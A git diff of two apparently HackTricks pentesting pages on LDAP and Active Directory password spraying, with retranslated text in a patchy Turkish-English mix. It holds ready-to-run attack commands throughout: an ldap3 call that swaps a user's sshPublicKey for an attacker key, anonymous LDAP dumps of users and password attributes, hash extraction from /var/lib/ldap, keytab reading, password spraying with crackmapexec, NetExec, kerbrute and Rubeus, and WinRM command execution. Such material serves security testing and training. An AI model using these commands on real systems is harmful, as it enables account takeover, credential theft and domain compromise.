diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index fd141a924..4c3723bed 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -2,21 +2,21 @@ {{#include ../banners/hacktricks-training.md}} -**LDAP** (Hafif Dizin Erişim Protokolü) kullanımı, hem kamu hem de özel ağlar içinde organizasyonlar, bireyler ve dosyalar ile cihazlar gibi çeşitli varlıkları bulmak için esasen kullanılır. Daha önceki versiyonu DAP'a kıyasla daha küçük bir kod ayak izi ile daha akıcı bir yaklaşım sunar. +The use of **LDAP** (Hafif Dizin Erişim Protokolü) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. -LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin **kopyalanmış** ve **senkronize** bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir; bu sunucu, talep sahibine birleşik bir yanıt sunmak için gerektiğinde diğer DSA'larla iletişim kurabilir. +LDAP dizinleri, birden çok sunucuya dağıtılmalarına izin verecek şekilde yapılandırılır; her sunucu dizinin **çoğaltılmış** ve **senkronize edilmiş** bir kopyasını barındırır, buna Dizin Sistem Ajanı (DSA) denir. İstekleri işlemekten tamamen LDAP sunucusu sorumludur; gerektiğinde tek bir yanıt sunmak için diğer DSA'larla iletişim kurabilir. -LDAP dizininin organizasyonu, **en üstte kök dizin ile başlayan bir ağaç hiyerarşisini** andırır. Bu, ülkelere, ardından organizasyonlara ve daha sonra çeşitli bölümleri veya departmanları temsil eden organizasyonel birimlere ayrılır ve nihayetinde bireysel varlıklar seviyesine, hem insanlar hem de dosyalar ve yazıcılar gibi paylaşılan kaynaklar dahil olmak üzere ulaşır. +LDAP dizin yapısı, en üstteki kök dizin ile başlayan bir **ağaç hiyerarşisine** benzer. Bu, ülkelere dallanır; oradan kuruluşlara, ardından çeşitli bölümleri veya departmanları temsil eden organizasyon birimlerine (organizational units) ve en sonunda kişiler ile dosyalar ve yazıcılar gibi paylaşılan kaynakları da içeren bireysel varlıklar düzeyine ulaşır. -**Varsayılan port:** 389 ve 636(ldaps). Global Katalog (ActiveDirectory'deki LDAP) varsayılan olarak 3268 ve 3269 portlarında LDAPS için mevcuttur. +**Varsayılan port:** 389 ve 636(ldaps). Global Catalog (LDAP in ActiveDirectory) varsayılan olarak 3268 portunda, LDAPS için ise 3269 portunda kullanılabilir. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` -### LDAP Veri Değişim Formatı +### LDAP Data Interchange Format -LDIF (LDAP Veri Değişim Formatı), dizin içeriğini bir dizi kayıt olarak tanımlar. Ayrıca güncelleme taleplerini (Ekle, Değiştir, Sil, Yeniden Adlandır) de temsil edebilir. +LDIF (LDAP Data Interchange Format), dizin içeriğini bir kayıt kümesi olarak tanımlar. Ayrıca güncelleme isteklerini (Add, Modify, Delete, Rename) de temsil edebilir. ```bash dn: dc=local dc: local @@ -45,14 +45,14 @@ ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` -- Satır 1-3, üst düzey alan adını local olarak tanımlar -- Satır 5-8, birinci düzey alan adını moneycorp (moneycorp.local) olarak tanımlar -- Satır 10-16, 2 organizasyonel birimi: dev ve sales tanımlar -- Satır 18-26, alanın bir nesnesini oluşturur ve değerlerle birlikte nitelikler atar +- Satırlar 1-3 üst düzey etki alanı local'ı tanımlar +- Satırlar 5-8 birinci seviye etki alanı moneycorp'ı (moneycorp.local) tanımlar +- Satırlar 10-16 iki organizasyon birimini tanımlar: dev ve sales +- Satırlar 18-26 etki alanına ait bir nesne oluşturur ve özniteliklere değerler atar -## Veri Yazma +## Write data -Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcı veya herhangi bir kullanıcının **"sshPublicKey" bilgisini değiştirebildiğinizi** hayal edin. Bu niteliğin mevcut olması durumunda, **ssh'nin LDAP'dan genel anahtarları okuduğu** oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, **şifre kimlik doğrulaması ssh'de etkin olmasa bile o kullanıcı olarak giriş yapabileceksiniz.** +Not: Değerleri değiştirebiliyorsanız gerçekten ilginç işlemler gerçekleştirebilirsiniz. Örneğin, kendi kullanıcı hesabınızın veya herhangi bir kullanıcının **"sshPublicKey" bilgilerini değiştirebileceğinizi** düşünün. Eğer bu öznitelik mevcutsa büyük olasılıkla **ssh, genel anahtarları LDAP'tan okuyor**. Bir kullanıcının genel anahtarını değiştirebilirseniz, **ssh'da parola doğrulaması etkin olmasa bile o kullanıcı olarak giriş yapabilirsiniz**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 @@ -64,30 +64,55 @@ True u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` -## Düz Metin Kimlik Bilgilerini Dinleme +## Clear text credentials'i sniff etme -Eğer LDAP SSL olmadan kullanılıyorsa, ağda **kimlik bilgilerini düz metin olarak dinleyebilirsiniz.** +Eğer LDAP SSL olmadan kullanılıyorsa ağ üzerinde **sniff credentials in plain text** yapabilirsiniz. -Ayrıca, **LDAP sunucusu ile istemci arasında** bir **MITM** saldırısı gerçekleştirebilirsiniz. Burada, istemcinin **düz metin kimlik bilgilerini** kullanarak giriş yapması için bir **Downgrade Attack** yapabilirsiniz. +Ayrıca, ağda **MITM** saldırısı gerçekleştirebilir ve **between the LDAP server and the client.** arasına girerek. Burada bir **Downgrade Attack** yaparak client'ın **credentials in clear text** kullanıp oturum açmasını sağlayabilirsiniz. -**Eğer SSL kullanılıyorsa**, yukarıda bahsedilen şekilde **MITM** yapmayı deneyebilirsiniz, ancak **yanlış bir sertifika** sunarak, eğer **kullanıcı bunu kabul ederse**, kimlik doğrulama yöntemini düşürme ve kimlik bilgilerini tekrar görme imkanınız olur. +**If SSL is used** durumunda yukarıda bahsedildiği gibi bir **MITM** denemeye çalışabilir ve bir **false certificate** sunabilirsiniz; eğer **user accepts it** ise authentication yöntemini Downgrade ederek credentials'leri tekrar görebilirsiniz. -## Anonim Erişim +## Anonymous Access -### TLS SNI kontrolünü atlama +### TLS SNI check'i atlatma -[**bu yazıya**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) göre, LDAP sunucusuna rastgele bir alan adı (örneğin company.com) ile erişerek, anonim bir kullanıcı olarak LDAP hizmetiyle iletişim kurup bilgi çıkarabildi. +According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) sadece rastgele bir domain adıyla (ör. company.com) LDAP server'a erişerek LDAP servisine bağlanabildi ve anonim bir kullanıcı olarak bilgi çıkarabildi: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` -### LDAP anonim bağlanmaları +### LDAP anonymous binds -[LDAP anonim bağlanmaları](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled), **kimlik doğrulaması yapılmamış saldırganların** alan bilgilerini, kullanıcıların, grupların, bilgisayarların, kullanıcı hesap özelliklerinin ve alan parola politikasının tam listesini almasına olanak tanır. Bu, **eski bir yapılandırmadır** ve Windows Server 2003 itibarıyla yalnızca kimlik doğrulaması yapılmış kullanıcıların LDAP istekleri başlatmasına izin verilmektedir.\ -Ancak, yöneticiler **anonim bağlanmalara izin vermek için belirli bir uygulama kurmak zorunda kalmış olabilir** ve böylece niyet edilen erişim miktarından daha fazlasını vererek kimlik doğrulaması yapılmamış kullanıcılara AD'deki tüm nesnelere erişim sağlamış olabilirler. +[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **kimlik doğrulaması yapılmamış saldırganların** domain’den, örneğin kullanıcıların, grupların, bilgisayarların tam listesi, kullanıcı hesap öznitelikleri ve domain parola politikası gibi bilgileri almasına olanak tanır. Bu **eski bir yapılandırmadır**, ve Windows Server 2003 itibarıyla yalnızca kimlik doğrulaması yapılmış kullanıcıların LDAP isteği başlatmasına izin verilmektedir.\ +Ancak yöneticiler belirli bir uygulamayı **anonymous binds’e izin verecek şekilde yapılandırmak** zorunda kalmış ve amaçlanandan fazla erişim vermiş olabilir; bu da kimlik doğrulaması yapılmamış kullanıcılara AD içindeki tüm nesnelere erişim sağlayabilir. + +### Anonymous LDAP enumeration with NetExec (null bind) + +If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters: +- (objectClass=*) to inventory objects under a base DN +- (sAMAccountName=*) to harvest user principals + +Examples: +```bash +# Enumerate objects from the root DSE (base DN autodetected) +netexec ldap -u '' -p '' --query "(objectClass=*)" "" + +# Dump users with key attributes for spraying and targeting +netexec ldap -u '' -p '' --query "(sAMAccountName=*)" "" + +# Extract just the sAMAccountName field into a list +netexec ldap -u '' -p '' --query "(sAMAccountName=*)" "" \ +| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt +``` +Nelere bakılmalı: +- sAMAccountName, userPrincipalName +- memberOf ve OU placement, hedeflenen sprays'lerin kapsamını belirlemek için +- pwdLastSet (zaman desenleri), userAccountControl flags (disabled, smartcard required, vb.) + +Not: Eğer anonymous bind izinli değilse, genellikle bind gerektiğini belirten bir Operations error görürsünüz. ## Geçerli Kimlik Bilgileri -LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, alan yöneticisi hakkında tüm bilgileri dökümleyebilirsiniz: +LDAP sunucusuna giriş için geçerli kimlik bilgilerine sahipseniz, Domain Admin hakkında tüm bilgileri dump etmek için şunu kullanabilirsiniz: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash @@ -98,9 +123,9 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty ## Enumeration -### Automated +### Otomatik -Bunu kullanarak **kamusal bilgileri** (örneğin alan adı)**:** görebileceksiniz. +Bunu kullanarak **kamuya açık bilgileri** (örneğin alan adı)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` @@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
-Python ile LDAP sayımı görün +python ile LDAP enumeration'ını görün -**Python kullanarak kimlik bilgileri ile veya kimlik bilgileri olmadan bir LDAP'ı saymayı** deneyebilirsiniz: `pip3 install ldap3` +Kimlik bilgileri ile veya olmadan python kullanarak LDAP enumeration'ını **gerçekleştirmeyi deneyebilirsiniz**: `pip3 install ldap3` -Öncelikle **kimlik bilgileri olmadan** bağlanmayı deneyin: +İlk olarak **kimlik bilgisi olmadan** bağlanmayı deneyin: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) @@ -121,7 +146,7 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials True >>> server.info ``` -Eğer yanıt `True` ise, LDAP'dan bazı **ilginç veriler** (örneğin **isim bağlamı** veya **alan adı**) elde edebilirsiniz: +Önceki örnekte olduğu gibi yanıt `True` ise, LDAP sunucusunun bazı **ilginç verilerini** (örneğin **naming context** veya **domain name**) şu yerlerden elde edebilirsiniz: ```bash >>> server.info DSA info (from DSE): @@ -129,13 +154,13 @@ Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` -Bir isimlendirme bağlamına sahip olduğunuzda, daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu, dizindeki tüm nesneleri gösterecektir: +Adlandırma bağlamına sahip olduğunuzda daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu dizindeki tüm nesneleri göstermelidir: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` -Veya **dump** tüm ldap: +Veya tüm ldap'ı **dump** et: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True @@ -145,7 +170,7 @@ True ### windapsearch -[**Windapsearch**](https://github.com/ropnop/windapsearch) bir Windows etki alanından **kullanıcıları, grupları ve bilgisayarları listelemek için** LDAP sorgularını kullanarak faydalı bir Python betiğidir. +[**Windapsearch**](https://github.com/ropnop/windapsearch) LDAP sorgularını kullanarak bir Windows etki alanındaki **enumerate kullanıcıları, grupları ve bilgisayarları** çıkarmaya yarayan bir Python betiğidir. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers @@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p ``` ### ldapsearch -Geçersiz kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin: +Null credentials veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" @@ -173,9 +198,9 @@ result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` -Eğer "_bind must be completed_" diyen bir şey bulursanız, bu, kimlik bilgilerinin yanlış olduğu anlamına gelir. +Eğer "_bind must be completed_" yazısı görürseniz, kimlik bilgilerinin yanlış olduğu anlamına gelir. -Bir **alan adından her şeyi** çıkartabilirsiniz: +Bir domain'den **her şeyi** aşağıdaki komutla çıkarabilirsiniz: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication @@ -184,49 +209,49 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_ -w My password -b Base site, all data from here will be given ``` -Kullanıcıları çıkarın: +Çıkar **kullanıcıları**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` -**bilgisayarlar** +Çıkar **bilgisayarlar**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` -Çek **bilgilerimi**: +Çıkar **bilgilerimi**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -**Domain Admins**'i Çıkarın: +Çıkar **Domain Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -**Domain Kullanıcıları**: +Çıkar **Domain Users**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -**Enterprise Admins**: +Çıkar **Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -**Yönetici**: +Çıkar **Administrators**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -**Uzak Masaüstü Grubu**: +Çıkar **Uzak Masaüstü Grubu**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -Herhangi bir şifreye erişiminiz olup olmadığını görmek için, sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz: +Herhangi bir parolaya erişiminiz olup olmadığını görmek için sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz: ```bash | grep -i -A2 -B2 "userpas" ``` -Lütfen burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın... +Lütfen burada bulacağınız passwords gerçek olmayabilir... #### pbis -**pbis**'i buradan indirebilirsiniz: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) ve genellikle `/opt/pbis` dizinine kurulur.\ -**Pbis**, temel bilgileri kolayca almanızı sağlar: +Buradan **pbis**'i indirebilirsiniz: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) ve genellikle `/opt/pbis` altında kurulur.\ +**Pbis** temel bilgileri kolayca almanızı sağlar: ```bash #Read keytab file ./klist -k /etc/krb5.keytab @@ -255,13 +280,13 @@ Lütfen burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user -./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done +./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group -./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done +./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do @@ -270,47 +295,47 @@ echo "$line"; echo "======================" done ``` -## Grafik Arayüzü +## Grafiksel Arayüz ### Apache Directory -[**Apache Directory'yi buradan indirin**](https://directory.apache.org/studio/download/download-linux.html). Bu aracın nasıl kullanılacağına dair bir [örneği buradan bulabilirsiniz](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). +[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). ### jxplorer -LDAP sunucusu ile grafik bir arayüzü buradan indirebilirsiniz: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) +Buradan LDAP sunuculu grafiksel bir arayüz indirebilirsiniz: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) -Varsayılan olarak şu dizine kurulur: _/opt/jxplorer_ +Varsayılan olarak kurulduğu yer: _/opt/jxplorer_ ![](<../images/image (482).png>) ### Godap -Godap, AD ve diğer LDAP sunucularındaki nesneler ve niteliklerle etkileşimde bulunmak için kullanılabilen etkileşimli bir terminal kullanıcı arayüzüdür. Windows, Linux ve MacOS için mevcuttur ve basit bağlamalar, pass-the-hash, pass-the-ticket ve pass-the-cert gibi yöntemlerin yanı sıra nesneleri arama/oluşturma/değiştirme/silme, gruplardan kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini (DACL'ler) düzenleme, Active-Directory Entegre DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi birkaç özel özelliği destekler. +Godap, LDAP için etkileşimli bir terminal kullanıcı arayüzüdür ve AD ile diğer LDAP sunucularındaki nesneler ve özniteliklerle etkileşim kurmak için kullanılabilir. Windows, Linux ve MacOS için mevcuttur ve simple binds, pass-the-hash, pass-the-ticket & pass-the-cert destekler; ayrıca nesne arama/oluşturma/değiştirme/silme, gruplara kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini düzenleme (DACLs), Active-Directory Integrated DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi çeşitli özel özellikler sunar. ![](../images/godap.png) -Buna [https://github.com/Macmod/godap](https://github.com/Macmod/godap) adresinden erişebilirsiniz. Kullanım örnekleri ve talimatlar için [Wiki'yi](https://github.com/Macmod/godap/wiki) okuyun. +Şuradan erişebilirsiniz: [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Kullanım örnekleri ve talimatlar için [Wiki](https://github.com/Macmod/godap/wiki)'yi okuyun. ### Ldapx -Ldapx, diğer araçlardan LDAP trafiğini incelemek ve dönüştürmek için kullanılabilen esnek bir LDAP proxy'sidir. Kimlik koruma ve LDAP izleme araçlarını aşmaya çalışmak için LDAP trafiğini obfuscate etmekte kullanılabilir ve [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) konuşmasında sunulan yöntemlerin çoğunu uygulamaktadır. +Ldapx, diğer araçlardan gelen LDAP trafiğini incelemek ve dönüştürmek için kullanılabilen esnek bir LDAP proxy'sidir. LDAP trafiğini obfuskasyon yapmak için kullanılarak identity protection ve LDAP monitoring araçlarını atlatmayı denemek amacıyla kullanılabilir ve [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) konuşmasında sunulan yöntemlerin çoğunu uygular. ![](../images/ldapx.png) -Bunu [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) adresinden edinebilirsiniz. +Şuradan edinebilirsiniz: [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx). -## Kerberos ile Kimlik Doğrulama +## kerberos ile kimlik doğrulama -`ldapsearch` kullanarak **NTLM** yerine **kerberos** ile **kimlik doğrulaması** yapabilirsiniz; bunun için `-Y GSSAPI` parametresini kullanın. +`ldapsearch` kullanarak `-Y GSSAPI` parametresini belirterek **NTLM** yerine **kerberos** ile **kimlik doğrulaması** yapabilirsiniz. ## POST -Veritabanlarının bulunduğu dosyalara erişiminiz varsa (bu _/var/lib/ldap_ içinde olabilir). Hash'leri çıkarmak için: +Eğer veritabanlarının bulunduğu dosyalara erişebiliyorsanız (örneğin _/var/lib/ldap_), hash'leri şu şekilde çıkarabilirsiniz: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` -John'a şifre hash'ini ('{SSHA}'dan 'structural'a 'structural' eklemeden) verebilirsiniz. +Parola hash'ini john'a verebilirsiniz ('{SSHA}' ile 'structural' arasındaki kısmı, 'structural' eklemeden). ### Yapılandırma Dosyaları @@ -378,4 +403,10 @@ Entry_7: Name: Netexec LDAP BloodHound Command: nxc ldap -u -p --bloodhound -c All -d --dns-server --dns-tcp ``` +## Referanslar + +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) +- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec) +- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 358ea703c..36edb4a80 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Birkaç **geçerli kullanıcı adı** bulduktan sonra keşfettiğiniz her kullanıcı için en **yaygın parolaları** deneyebilirsiniz (ortamın parola politikasını göz önünde bulundurun).\ -**Varsayılan** **minimum** **parola** **uzunluğu** **7**'dir. +Birkaç **geçerli kullanıcı adı** bulduktan sonra, keşfettiğiniz her kullanıcı için en yaygın **parolaları** deneyebilirsiniz (ortamın parola politikasını göz önünde bulundurun).\ +**Varsayılan** olarak **minimum** **parola** **uzunluğu** **7**'dir. -Yaygın kullanıcı adları listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Dikkat: **birden fazla yanlış parola denerseniz bazı hesapları kilitleyebilirsiniz** (varsayılan olarak 10'dan fazla). +Unutmayın ki **birden fazla yanlış parola denerseniz bazı hesapları kilitleyebilirsiniz** (varsayılan olarak 10'dan fazla). -### Parola politikasını öğrenme +### Parola politikası edinme -Eğer bazı kullanıcı kimlik bilgilerine veya domain kullanıcısı olarak bir shell'e sahipseniz, **parola politikasını şu şekilde alabilirsiniz**: +Eğer bazı kullanıcı kimlik bilgilerine veya domain kullanıcısı olarak bir shell'e sahipseniz, parola politikasını **şu komutla alabilirsiniz**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,16 +31,31 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Linux (veya tüm platformlar) üzerinden istismar +### Exploitation — Linux'ten (veya tüm) -- **crackmapexec** kullanarak: +- Kullanarak **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- [**kerbrute**](https://github.com/ropnop/kerbrute) kullanımı (Go) +- **NetExec (CME successor)** kullanarak SMB/WinRM genelinde hedeflenmiş, düşük gürültülü spraying için: +```bash +# Optional: generate a hosts entry to ensure Kerberos FQDN resolution +netexec smb --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts + +# Spray a single candidate password against harvested users over SMB +netexec smb -u users.txt -p 'Password123!' \ +--continue-on-success --no-bruteforce --shares + +# Validate a hit over WinRM (or use SMB exec methods) +netexec winrm -u -p 'Password123!' -x "whoami" + +# Tip: sync your clock before Kerberos-based auth to avoid skew issues +sudo ntpdate +``` +- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) kullanarak ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 @@ -51,7 +66,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ```bash spray.sh -smb ``` -- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) kullanımı (python) - TAVSİYE EDİLMEZ - BAZEN ÇALIŞMAYABİLİR +- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) kullanımı - TAVSİYE EDİLMEZ, BAZEN ÇALIŞMAYABİLİR ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -60,7 +75,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123 ![](<../../images/image (745).png>) -- **rpcclient** kullanılarak: +- **rpcclient** kullanarak: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do @@ -69,7 +84,7 @@ done ``` #### Windows'tan -- Brute module içeren [Rubeus](https://github.com/Zer1t0/Rubeus) sürümü ile: +- brute module içeren [Rubeus](https://github.com/Zer1t0/Rubeus) sürümü ile: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,20 +92,20 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak domain'den kullanıcılar oluşturabilir ve parola politikasını domain'den alır ve deneme sayılarını buna göre sınırlar): +- Invoke-DomainPasswordSpray ile [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Varsayılan olarak alan içinden kullanıcılar oluşturabilir ve parola politikasını alandan alır, buna göre denemeleri sınırlar): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` -- Kullanarak [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) +- ile [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ``` Invoke-SprayEmptyPassword ``` -### "Password must change at next logon" Hesaplarını Tespit Etme ve Ele Geçirme (SAMR) +### "Password must change at next logon" Hesaplarını Belirleme ve Ele Geçirme (SAMR) -Düşük gürültülü bir teknik, zararsız/boş bir password spray yapıp STATUS_PASSWORD_MUST_CHANGE döndüren hesapları 